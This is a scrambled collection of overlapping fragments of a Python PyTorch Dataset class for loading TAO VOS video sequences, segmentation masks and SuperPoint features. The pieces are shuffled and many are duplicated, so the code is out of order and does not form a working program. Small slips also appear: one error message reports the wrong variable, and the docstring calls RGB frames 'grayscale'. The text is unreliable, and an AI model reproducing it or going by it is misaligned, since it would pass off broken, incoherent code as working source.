"must be positive. Got {0}.\".format(seqlen)) if dilation < 0: raise",
"seg_seq: : \"math: List of per frame instance segmentations with",
"< 0: raise ValueError(\"start must be positive. Got {0}.\".format(stride)) if",
"= obj_id ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann)",
"dilation: Optional[int] = None, stride: Optional[int] = None, start: Optional[int]",
"for ind in inds]) if self.return_points: self.Points_data.append([points_list[ind] for ind in",
"Got {0}.\".format(type(stride))) if not (isinstance(dilation, int) or dilation is None):",
"= start if start is not None else 0 self.start",
"self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def __len__(self): r\"\"\"Returns the length of",
"of two consecutive extracted sequences. See above example if unsure.",
"of Sequence Shape: - color_seq: :math:`(L, 3, H, W)` where",
"return_img: bool = True, return_seg: bool = True, return_points: bool",
"stride = stride if stride is not None else seqlen",
"for the sequences. Default: False \"\"\" def __init__( self, basedir:",
"is None or end > start): raise ValueError( \"end ({0})",
"greater than start ({1})\".format(end, start) ) # videos should be",
"frame4 frame5 frame6 frame7 frame8 frame9 frame10 frame11 ... |",
"in `the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of",
"None. Got {0}.\".format(type(stride))) if not (isinstance(dilation, int) or dilation is",
"for video in videos: file_names = [f for f in",
"x in file_names] video_len = len(rgb_list) for start_index in range(self.start,",
"will set `stride = seqlen * (dilation + 1)` (non-overlapping",
"videos: file_names = [f for f in sorted(os.listdir(os.path.join(rgbdir, video))) if",
"Returns: color_seq (torch.Tensor): Sequence of grayscale rgb images of each",
"self.return_points = return_points self.return_videonames = return_videonames if not isinstance(seqlen, int):",
"from which to start extracting sequences for every video. If",
"TypeError(\"stride must be int or None. Got {0}.\".format(type(stride))) if not",
"Determines whether to return instance segmentation labels. Default: True return_points",
"None, height: int = 480, width: int = 640, *,",
"Got {0}.\".format(stride)) if not (end is None or end >",
"(int): Number of frames to use for each sequence of",
"of the video. Default: None height (int): Spatial height to",
"which to stop extracting sequences for every video. If None,",
"resize frames to. Default: 640 return_seg (bool): Determines whether to",
"return_videonames: bool = False, ): super(TAO, self).__init__() self.basedir = os.path.normpath(basedir)",
"< 0: raise ValueError('\"dilation\" must be positive. Got {0}.'.format(dilation)) if",
"(str): Path to the base directory containing the directories from",
"containing the directories from TAO. videos (str or tuple of",
"video in videos: file_names = [f for f in sorted(os.listdir(os.path.join(rgbdir,",
"points_seq.append(points) output = [] if self.return_img: color_seq = torch.stack(color_seq, 0).float()",
"frame3 frame4 frame5 frame6 frame7 frame8 frame9 frame10 frame11 ...",
"instance segmentation labels, SuperPoint features (optional). Example of sequence creation",
"= False, ): super(TAO, self).__init__() self.basedir = os.path.normpath(basedir) if not",
"inds]) if self.return_points: self.Points_data.append([points_list[ind] for ind in inds]) if self.return_videonames:",
"self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids,",
"Optional[int] = None, start: Optional[int] = None, end: Optional[int] =",
"raise ValueError( \"end ({0}) must be None or greater than",
"frame11 ... | | | | └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir",
"video. If None, will start from the first frame. Default:",
"True return_points (bool): Determines whether to return SuperPoint Features. Default:",
"np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann = [] for obj_id",
"directories from TAO. videos (str or tuple of str): Videos",
"start (int or None): Index of the frame from which",
"None or greater than start ({1})\".format(end, start) ) # videos",
"video_len = len(rgb_list) for start_index in range(self.start, video_len, self.stride): if",
"as fp: points = pickle.load(fp) points_seq.append(points) output = [] if",
"Image import pickle import torch from torch.utils import data __all__",
"raise ValueError('\"dilation\" must be positive. Got {0}.'.format(dilation)) if stride <",
"loading in `the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences",
"of frames between the first frames of two consecutive extracted",
"or greater than start ({1})\".format(end, start) ) # videos should",
"raise TypeError(msg % type(videos)) self.RGB_data = [] self.Seg_data = []",
"(int): Index of the frame at which to stop extracting",
"{} ann['obj_id'] = obj_id ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] =",
"end of the video. Default: None height (int): Spatial height",
"torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq) if",
"= True, return_seg: bool = True, return_points: bool = False,",
"frame seg_seq (torch.Tensor): Sequence of instance segmentation labels for objects",
"example if unsure. If None, will set `dilation = 0`.",
"length `L` - points_seq: \"math: List of SuperPoint Features with",
"videonames for the sequences. Default: False \"\"\" def __init__( self,",
"per frame instance segmentations with length `L` - points_seq: \"math:",
"points_seq: \"math: List of SuperPoint Features with length `L` \"\"\"",
"labels. Default: True return_points (bool): Determines whether to return SuperPoint",
"len(self.RGB_data) def __len__(self): r\"\"\"Returns the length of the dataset. \"\"\"",
"of SuperPoint Features videoname (str): Videoname of Sequence Shape: -",
"[] self.Videonames_data = [] idx = np.arange(self.seqlen) * (self.dilation +",
"return self.num_sequences def __getitem__(self, idx: int): r\"\"\"Returns the data from",
"= [os.path.join(os.path.join(rgbdir, video), x) for x in file_names] if self.return_points:",
"for f in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir,",
"scene names. seqlen (int): Number of frames to use for",
"be positive. Got {0}.\".format(stride)) if not (isinstance(start, int) or start",
"start < 0: raise ValueError(\"start must be positive. Got {0}.\".format(stride))",
"{0}.\".format(type(seqlen))) if not (isinstance(stride, int) or stride is None): raise",
"seqlen < 0: raise ValueError(\"seqlen must be positive. Got {0}.\".format(seqlen))",
"None, will continue extracting frames until the end of the",
"self.return_img = return_img self.return_seg = return_seg self.return_points = return_points self.return_videonames",
"seqlen: int = 4, dilation: Optional[int] = None, stride: Optional[int]",
"str, None], seqlen: int = 4, dilation: Optional[int] = None,",
"= width self.return_img = return_img self.return_seg = return_seg self.return_points =",
"be int or None. Got {0}.\".format(type(dilation)) ) dilation = dilation",
"open(videos, \"r\") as f: videos = tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect",
"or dilation is None): raise TypeError( \"dilation must be int",
"None. Got {0}.\".format(type(dilation)) ) dilation = dilation if dilation is",
"np.arange(self.seqlen) * (self.dilation + 1) rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir",
"if self.return_points: with open(points_seq_path[i],'rb') as fp: points = pickle.load(fp) points_seq.append(points)",
"whether to return instance segmentation labels. Default: True return_points (bool):",
"if start is not None else 0 self.start = start",
"stride if stride is not None else seqlen * (dilation",
"if not isinstance(seqlen, int): raise TypeError(\"seqlen must be int. Got",
"int = 480, width: int = 640, *, return_img: bool",
"length of the dataset. \"\"\" return self.num_sequences def __getitem__(self, idx:",
"doesn't exist\".format(basedir)) self.height = height self.width = width self.return_img =",
"or end > start): raise ValueError( \"end ({0}) must be",
"end: Optional[int] = None, height: int = 480, width: int",
"typing import Optional, Union import cv2 import numpy as np",
"path to split.txt or tuple of videos, but was of",
"splits). Can be path to a `.txt` file where each",
"return_points (bool): Determines whether to return SuperPoint Features. Default: False",
"Got {0}.\".format(type(start))) if not (isinstance(end, int) or end is None):",
"/= 255 color_seq.append(image) if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids =",
"features (optional). Example of sequence creation from frames with `seqlen=4`,",
"if dilation < 0: raise ValueError('\"dilation\" must be positive. Got",
"msg = \"videos should either be path to split.txt or",
"r\"\"\"A torch Dataset for loading in `the TAO VOS dataset",
") dilation = dilation if dilation is not None else",
"self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x in file_names]",
"int or None. Got {0}.\".format(type(stride))) if not (isinstance(dilation, int) or",
"Got {0}.\".format(stride)) if not (isinstance(start, int) or start is None):",
"extracted sequences. See above example if unsure. If None, will",
"ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb') as",
"extracting sequences for every video. If None, will continue extracting",
"self, basedir: str, videos: Union[tuple, str, None], seqlen: int =",
"not (isinstance(dilation, int) or dilation is None): raise TypeError( \"dilation",
"file_names] if self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x",
"480 width (int): Spatial width to resize frames to. Default:",
"self.return_seg: self.Seg_data.append([seg_list[ind] for ind in inds]) if self.return_points: self.Points_data.append([points_list[ind] for",
"x in file_names] if self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl'))",
"of videos, but was of type %r instead\" raise TypeError(msg",
"= self.RGB_data[idx] if self.return_seg: seg_seq_path = self.Seg_data[idx] if self.return_points: points_seq_path",
"length - seg_seq: : \"math: List of per frame instance",
"self.stride = stride self.dilation = dilation if seqlen < 0:",
"between the first frames of two consecutive extracted sequences. See",
"* (self.dilation + 1) rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir =",
"inds = start_index + idx self.RGB_data.append([rgb_list[ind] for ind in inds])",
"% type(videos)) self.RGB_data = [] self.Seg_data = [] self.Points_data =",
"file_names] if self.return_points: points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x",
"int) or start is None): raise TypeError(\"start must be int",
"to a `.txt` file where each line is a Video",
"end is None): raise TypeError(\"end must be int or None.",
"= None, stride: Optional[int] = None, start: Optional[int] = None,",
"[] for i in range(self.seqlen): if self.return_img: image = cv2.imread(color_seq_path[i])",
"frames points_seq (torch.Tensor): Sequence of SuperPoint Features videoname (str): Videoname",
"must be int or None. Got {0}.\".format(type(dilation)) ) dilation =",
"None start (int or None): Index of the frame from",
"to split.txt or tuple of videos, but was of type",
"self.Videonames_data = [] idx = np.arange(self.seqlen) * (self.dilation + 1)",
"in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for ind in inds]) if",
"sequences). Default: None start (int or None): Index of the",
"| | | | └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str): Path",
"frames to use for each sequence of frames. Default: 4",
"(end is None or end > start): raise ValueError( \"end",
"Sequence of instance segmentation labels for objects present in the",
"color_seq: :math:`(L, 3, H, W)` where `L` denotes sequence length",
"= len(rgb_list) for start_index in range(self.start, video_len, self.stride): if start_index",
"height to resize frames to. Default: 480 width (int): Spatial",
"Default: 640 return_seg (bool): Determines whether to return instance segmentation",
"in the color info. if self.return_img: color_seq_path = self.RGB_data[idx] if",
"for each sequence of frames. Default: 4 dilation (int or",
"f: videos = tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename: {} doesn't",
"frame8 frame9 frame10 frame11 ... | | | | └───────────────┵───────────────┵────────────────┚",
"instead\" raise TypeError(msg % type(videos)) self.RGB_data = [] self.Seg_data =",
"r\"\"\"Returns the length of the dataset. \"\"\" return self.num_sequences def",
"obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann = [] for obj_id in",
"torch Dataset for loading in `the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_.",
"two consecutive extracted sequences. See above example if unsure. If",
"- color_seq: :math:`(L, 3, H, W)` where `L` denotes sequence",
"Got {0}.\".format(seqlen)) if dilation < 0: raise ValueError('\"dilation\" must be",
"end if start < 0: raise ValueError(\"start must be positive.",
"Spatial width to resize frames to. Default: 640 return_seg (bool):",
"self.return_seg = return_seg self.return_points = return_points self.return_videonames = return_videonames if",
"f in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video),",
"self.end = end if start < 0: raise ValueError(\"start must",
"ValueError('\"dilation\" must be positive. Got {0}.'.format(dilation)) if stride < 0:",
"TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of rgb images,",
"frames to. Default: 480 width (int): Spatial width to resize",
"Got {0}.'.format(dilation)) if stride < 0: raise ValueError(\"stride must be",
"at which to stop extracting sequences for every video. If",
"sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video), x) for",
"start: Optional[int] = None, end: Optional[int] = None, height: int",
"for ind in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for ind in",
"If None, will set `stride = seqlen * (dilation +",
"*, return_img: bool = True, return_seg: bool = True, return_points:",
"self.width = width self.return_img = return_img self.return_seg = return_seg self.return_points",
"or tuple of videos, but was of type %r instead\"",
"if isinstance(videos, str): if os.path.isfile(videos): with open(videos, \"r\") as f:",
"+ 1)` (non-overlapping sequences). Default: None start (int or None):",
"first frames of two consecutive extracted sequences. See above example",
">= video_len: break inds = start_index + idx self.RGB_data.append([rgb_list[ind] for",
"else: raise ValueError(\"incorrect filename: {} doesn't exist\".format(videos)) elif not (isinstance(videos,",
"not (isinstance(videos, tuple)): msg = \"videos should either be path",
"obj_id ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann)",
"height self.width = width self.return_img = return_img self.return_seg = return_seg",
"`seqlen=4`, `dilation=1`, `stride=3`, and `start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ |",
"0: raise ValueError(\"seqlen must be positive. Got {0}.\".format(seqlen)) if dilation",
"type %r instead\" raise TypeError(msg % type(videos)) self.RGB_data = []",
"= ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb') as fp:",
"ValueError(\"incorrect filename: {} doesn't exist\".format(videos)) elif not (isinstance(videos, tuple)): msg",
"in videos: file_names = [f for f in sorted(os.listdir(os.path.join(rgbdir, video)))",
"Determines whether to return videonames for the sequences. Default: False",
"None): Number of (original video's) frames to skip between two",
"if not os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {} doesn't exist\".format(basedir)) self.height",
"if seqlen < 0: raise ValueError(\"seqlen must be positive. Got",
"os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir, 'Annotations/') for video in videos:",
"of frames to use for each sequence of frames. Default:",
"Default: None height (int): Spatial height to resize frames to.",
"self.basedir = os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {}",
"x.replace('.jpg','.png')) for x in file_names] video_len = len(rgb_list) for start_index",
"if self.return_points: points_seq_path = self.Points_data[idx] color_seq, seg_seq, points_seq = [],",
"above example if unsure. If None, will set `dilation =",
"creating train/val/test splits). Can be path to a `.txt` file",
"None): Number of frames between the first frames of two",
"__all__ = [\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch Dataset for loading",
"frame1 frame2 frame3 frame4 frame5 frame6 frame7 frame8 frame9 frame10",
"| | └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str): Path to the",
"until the end of the video. Default: None height (int):",
"None. Got {0}.\".format(type(start))) if not (isinstance(end, int) or end is",
"points_list = [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x in file_names] if",
"self.return_videonames = return_videonames if not isinstance(seqlen, int): raise TypeError(\"seqlen must",
"= seqlen self.stride = stride self.dilation = dilation if seqlen",
"for creating train/val/test splits). Can be path to a `.txt`",
"sequence at index idx. Returns: color_seq (torch.Tensor): Sequence of grayscale",
"return_videonames (bool): Determines whether to return videonames for the sequences.",
"extracting sequences for every video. If None, will start from",
"ind in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for ind in inds])",
"is None): raise TypeError(\"end must be int or None. Got",
"480, width: int = 640, *, return_img: bool = True,",
"the frames points_seq (torch.Tensor): Sequence of SuperPoint Features videoname (str):",
"length `L` \"\"\" # Read in the color info. if",
"unsure. If None, will set `stride = seqlen * (dilation",
"ind in inds]) if self.return_points: self.Points_data.append([points_list[ind] for ind in inds])",
"= return_img self.return_seg = return_seg self.return_points = return_points self.return_videonames =",
"if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids =",
"import sys sys.path.append('.') import os from typing import Optional, Union",
"dataset. \"\"\" return self.num_sequences def __getitem__(self, idx: int): r\"\"\"Returns the",
"will continue extracting frames until the end of the video.",
"`L` denotes sequence length - seg_seq: : \"math: List of",
"each line is a Video Seqeunce name, a tuple of",
"frame. Default: None end (int): Index of the frame at",
"Args: basedir (str): Path to the base directory containing the",
"ValueError(\"stride must be positive. Got {0}.\".format(stride)) if not (isinstance(start, int)",
"fp: points = pickle.load(fp) points_seq.append(points) output = [] if self.return_img:",
"H, W)` where `L` denotes sequence length - seg_seq: :",
"- seg_seq: : \"math: List of per frame instance segmentations",
"with open(points_seq_path[i],'rb') as fp: points = pickle.load(fp) points_seq.append(points) output =",
"= 0`. Default: None stride (int or None): Number of",
"frame at which to stop extracting sequences for every video.",
"of scene names. seqlen (int): Number of frames to use",
"{0}.\".format(type(end))) start = start if start is not None else",
"if self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x in",
"\"end ({0}) must be None or greater than start ({1})\".format(end,",
"self.seqlen = seqlen self.stride = stride self.dilation = dilation if",
"= len(self.RGB_data) def __len__(self): r\"\"\"Returns the length of the dataset.",
"if self.return_img: color_seq_path = self.RGB_data[idx] if self.return_seg: seg_seq_path = self.Seg_data[idx]",
"List of SuperPoint Features with length `L` \"\"\" # Read",
"skip between two consecutive frames in the extracted sequence. See",
"each sequence of frames. Default: 4 dilation (int or None):",
"len(rgb_list) for start_index in range(self.start, video_len, self.stride): if start_index +",
"self.Points_data = [] self.Videonames_data = [] idx = np.arange(self.seqlen) *",
"continue extracting frames until the end of the video. Default:",
"start if start is not None else 0 self.start =",
"If None, will continue extracting frames until the end of",
"instance segmentation labels for objects present in the frames points_seq",
"seqlen (int): Number of frames to use for each sequence",
"= torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq)",
"torch.utils import data __all__ = [\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch",
"`L` - points_seq: \"math: List of SuperPoint Features with length",
"int or None. Got {0}.\".format(type(start))) if not (isinstance(end, int) or",
"= os.path.join(self.basedir, 'Annotations/') for video in videos: file_names = [f",
"to resize frames to. Default: 480 width (int): Spatial width",
"as Image import pickle import torch from torch.utils import data",
"image = cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16)",
"Default: None stride (int or None): Number of frames between",
"(str): Videoname of Sequence Shape: - color_seq: :math:`(L, 3, H,",
"which to start extracting sequences for every video. If None,",
"sequences for every video. If None, will continue extracting frames",
"in file_names] video_len = len(rgb_list) for start_index in range(self.start, video_len,",
"`the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of rgb",
"└───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str): Path to the base directory",
"to return videonames for the sequences. Default: False \"\"\" def",
"must be positive. Got {0}.\".format(stride)) if not (isinstance(start, int) or",
"self.num_sequences = len(self.RGB_data) def __len__(self): r\"\"\"Returns the length of the",
"sequence length - seg_seq: : \"math: List of per frame",
"= stride if stride is not None else seqlen *",
"0`. Default: None stride (int or None): Number of frames",
"None): raise TypeError(\"end must be int or None. Got {0}.\".format(type(end)))",
"= end if start < 0: raise ValueError(\"start must be",
"but was of type %r instead\" raise TypeError(msg % type(videos))",
"pointsdir = os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir, 'Annotations/') for video",
"start self.end = end if start < 0: raise ValueError(\"start",
"= [] idx = np.arange(self.seqlen) * (self.dilation + 1) rgbdir",
"to stop extracting sequences for every video. If None, will",
"be int or None. Got {0}.\".format(type(end))) start = start if",
"= pickle.load(fp) points_seq.append(points) output = [] if self.return_img: color_seq =",
"images, instance segmentation labels, SuperPoint features (optional). Example of sequence",
"line is a Video Seqeunce name, a tuple of scene",
"of str): Videos to use from sequences (used for creating",
"None): Index of the frame from which to start extracting",
"Union[tuple, str, None], seqlen: int = 4, dilation: Optional[int] =",
"is None): raise TypeError(\"start must be int or None. Got",
"inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def __len__(self): r\"\"\"Returns",
"See above example if unsure. If None, will set `stride",
"stride < 0: raise ValueError(\"stride must be positive. Got {0}.\".format(stride))",
"4, dilation: Optional[int] = None, stride: Optional[int] = None, start:",
"idx: int): r\"\"\"Returns the data from the sequence at index",
"doesn't exist\".format(videos)) elif not (isinstance(videos, tuple)): msg = \"videos should",
"if start_index + idx[-1] >= video_len: break inds = start_index",
"np import PIL.Image as Image import pickle import torch from",
"(optional). Example of sequence creation from frames with `seqlen=4`, `dilation=1`,",
"frames to skip between two consecutive frames in the extracted",
"return_points: bool = False, return_videonames: bool = False, ): super(TAO,",
"idx = np.arange(self.seqlen) * (self.dilation + 1) rgbdir = os.path.join(self.basedir,",
"r\"\"\"Returns the data from the sequence at index idx. Returns:",
"return videonames for the sequences. Default: False \"\"\" def __init__(",
"None, will set `stride = seqlen * (dilation + 1)`",
"be int. Got {0}.\".format(type(seqlen))) if not (isinstance(stride, int) or stride",
"Number of (original video's) frames to skip between two consecutive",
"if self.return_seg: self.Seg_data.append([seg_list[ind] for ind in inds]) if self.return_points: self.Points_data.append([points_list[ind]",
"\"math: List of per frame instance segmentations with length `L`",
"Index of the frame from which to start extracting sequences",
"(torch.Tensor): Sequence of instance segmentation labels for objects present in",
"example if unsure. If None, will set `stride = seqlen",
"= stride self.dilation = dilation if seqlen < 0: raise",
"frame2 frame3 frame4 frame5 frame6 frame7 frame8 frame9 frame10 frame11",
"`dilation = 0`. Default: None stride (int or None): Number",
"(dilation + 1)` (non-overlapping sequences). Default: None start (int or",
"4 dilation (int or None): Number of (original video's) frames",
"the sequence at index idx. Returns: color_seq (torch.Tensor): Sequence of",
"bool = False, return_videonames: bool = False, ): super(TAO, self).__init__()",
"`.txt` file where each line is a Video Seqeunce name,",
"be positive. Got {0}.'.format(dilation)) if stride < 0: raise ValueError(\"stride",
"[], [] for i in range(self.seqlen): if self.return_img: image =",
"0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq) if self.return_videonames:",
"self.stride): if start_index + idx[-1] >= video_len: break inds =",
"[] self.Points_data = [] self.Videonames_data = [] idx = np.arange(self.seqlen)",
"return instance segmentation labels. Default: True return_points (bool): Determines whether",
"must be int or None. Got {0}.\".format(type(start))) if not (isinstance(end,",
"self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def __len__(self): r\"\"\"Returns the length",
"= [] if self.return_img: color_seq = torch.stack(color_seq, 0).float() output.append(color_seq) if",
"self.num_sequences def __getitem__(self, idx: int): r\"\"\"Returns the data from the",
"return_seg: bool = True, return_points: bool = False, return_videonames: bool",
"first frame. Default: None end (int): Index of the frame",
"(original video's) frames to skip between two consecutive frames in",
"self.RGB_data[idx] if self.return_seg: seg_seq_path = self.Seg_data[idx] if self.return_points: points_seq_path =",
"start): raise ValueError( \"end ({0}) must be None or greater",
"[os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x in file_names] if self.return_seg: seg_list",
"width: int = 640, *, return_img: bool = True, return_seg:",
"None end (int): Index of the frame at which to",
"(int): Spatial width to resize frames to. Default: 640 return_seg",
"obj_id in obj_ids: ann = {} ann['obj_id'] = obj_id ann_mask",
"for objects present in the frames points_seq (torch.Tensor): Sequence of",
"`stride=3`, and `start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | | |",
"Example of sequence creation from frames with `seqlen=4`, `dilation=1`, `stride=3`,",
"if not (isinstance(stride, int) or stride is None): raise TypeError(\"stride",
"Default: None end (int): Index of the frame at which",
"labels, SuperPoint features (optional). Example of sequence creation from frames",
"dilation if seqlen < 0: raise ValueError(\"seqlen must be positive.",
"frame instance segmentations with length `L` - points_seq: \"math: List",
"Can be path to a `.txt` file where each line",
"None], seqlen: int = 4, dilation: Optional[int] = None, stride:",
"not (isinstance(end, int) or end is None): raise TypeError(\"end must",
"or None): Number of frames between the first frames of",
"`stride = seqlen * (dilation + 1)` (non-overlapping sequences). Default:",
"+ 1) self.seqlen = seqlen self.stride = stride self.dilation =",
"{} doesn't exist\".format(basedir)) self.height = height self.width = width self.return_img",
"[os.path.join(os.path.join(rgbdir, video), x) for x in file_names] if self.return_points: points_list",
"video. If None, will continue extracting frames until the end",
"in inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def __len__(self):",
"= dilation if dilation is not None else 0 stride",
"file where each line is a Video Seqeunce name, a",
"idx. Returns: color_seq (torch.Tensor): Sequence of grayscale rgb images of",
"seqlen * (dilation + 1) self.seqlen = seqlen self.stride =",
"self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x in file_names]",
"sys sys.path.append('.') import os from typing import Optional, Union import",
"start_index in range(self.start, video_len, self.stride): if start_index + idx[-1] >=",
"os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {} doesn't exist\".format(basedir)) self.height = height",
"data from the sequence at index idx. Returns: color_seq (torch.Tensor):",
"return_points self.return_videonames = return_videonames if not isinstance(seqlen, int): raise TypeError(\"seqlen",
"to use from sequences (used for creating train/val/test splits). Can",
"dilation is None): raise TypeError( \"dilation must be int or",
"None. Got {0}.\".format(type(end))) start = start if start is not",
"the video. Default: None height (int): Spatial height to resize",
"if not (isinstance(dilation, int) or dilation is None): raise TypeError(",
"None or end > start): raise ValueError( \"end ({0}) must",
"stride (int or None): Number of frames between the first",
"return_img self.return_seg = return_seg self.return_points = return_points self.return_videonames = return_videonames",
"with open(videos, \"r\") as f: videos = tuple(f.read().split(\"\\n\")) else: raise",
"3, H, W)` where `L` denotes sequence length - seg_seq:",
"positive. Got {0}.\".format(stride)) if not (isinstance(start, int) or start is",
"None): raise TypeError(\"stride must be int or None. Got {0}.\".format(type(stride)))",
"(isinstance(start, int) or start is None): raise TypeError(\"start must be",
"(torch.Tensor): Sequence of SuperPoint Features videoname (str): Videoname of Sequence",
"import Optional, Union import cv2 import numpy as np import",
"bool = True, return_seg: bool = True, return_points: bool =",
"None): raise TypeError(\"start must be int or None. Got {0}.\".format(type(start)))",
"if not (isinstance(start, int) or start is None): raise TypeError(\"start",
"denotes sequence length - seg_seq: : \"math: List of per",
"PIL.Image as Image import pickle import torch from torch.utils import",
"is not None else seqlen * (dilation + 1) self.seqlen",
"the frame at which to stop extracting sequences for every",
"int = 4, dilation: Optional[int] = None, stride: Optional[int] =",
"points_seq = [], [], [] for i in range(self.seqlen): if",
"__len__(self): r\"\"\"Returns the length of the dataset. \"\"\" return self.num_sequences",
"bool = True, return_points: bool = False, return_videonames: bool =",
"video_len, self.stride): if start_index + idx[-1] >= video_len: break inds",
"1) self.seqlen = seqlen self.stride = stride self.dilation = dilation",
"= 4, dilation: Optional[int] = None, stride: Optional[int] = None,",
"): super(TAO, self).__init__() self.basedir = os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise",
"elif not (isinstance(videos, tuple)): msg = \"videos should either be",
"for start_index in range(self.start, video_len, self.stride): if start_index + idx[-1]",
"raise TypeError( \"dilation must be int or None. Got {0}.\".format(type(dilation))",
"1) rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/') segdir",
"Features videoname (str): Videoname of Sequence Shape: - color_seq: :math:`(L,",
"with length `L` - points_seq: \"math: List of SuperPoint Features",
"str): if os.path.isfile(videos): with open(videos, \"r\") as f: videos =",
"= [f for f in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list",
"or None. Got {0}.\".format(type(start))) if not (isinstance(end, int) or end",
"Optional[int] = None, height: int = 480, width: int =",
"raise TypeError(\"seqlen must be int. Got {0}.\".format(type(seqlen))) if not (isinstance(stride,",
"return SuperPoint Features. Default: False return_videonames (bool): Determines whether to",
"(non-overlapping sequences). Default: None start (int or None): Index of",
"be a tuple if isinstance(videos, str): if os.path.isfile(videos): with open(videos,",
"image /= 255 color_seq.append(image) if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids",
"* (dilation + 1)` (non-overlapping sequences). Default: None start (int",
"range(self.start, video_len, self.stride): if start_index + idx[-1] >= video_len: break",
"import os from typing import Optional, Union import cv2 import",
"than start ({1})\".format(end, start) ) # videos should be a",
"= return_videonames if not isinstance(seqlen, int): raise TypeError(\"seqlen must be",
"frame_ann = [] for obj_id in obj_ids: ann = {}",
"in the frames points_seq (torch.Tensor): Sequence of SuperPoint Features videoname",
"or None. Got {0}.\".format(type(dilation)) ) dilation = dilation if dilation",
"instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])]",
"path to a `.txt` file where each line is a",
"seqlen * (dilation + 1)` (non-overlapping sequences). Default: None start",
"rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/') segdir =",
"labels for objects present in the frames points_seq (torch.Tensor): Sequence",
"dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of rgb images, instance segmentation",
"None): raise TypeError( \"dilation must be int or None. Got",
"video's) frames to skip between two consecutive frames in the",
"tuple if isinstance(videos, str): if os.path.isfile(videos): with open(videos, \"r\") as",
"segmentation labels. Default: True return_points (bool): Determines whether to return",
"See above example if unsure. If None, will set `dilation",
"Video Seqeunce name, a tuple of scene names. seqlen (int):",
"os.path.join(self.basedir, 'Annotations/') for video in videos: file_names = [f for",
"None else 0 self.start = start self.end = end if",
"= torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image /= 255 color_seq.append(image) if",
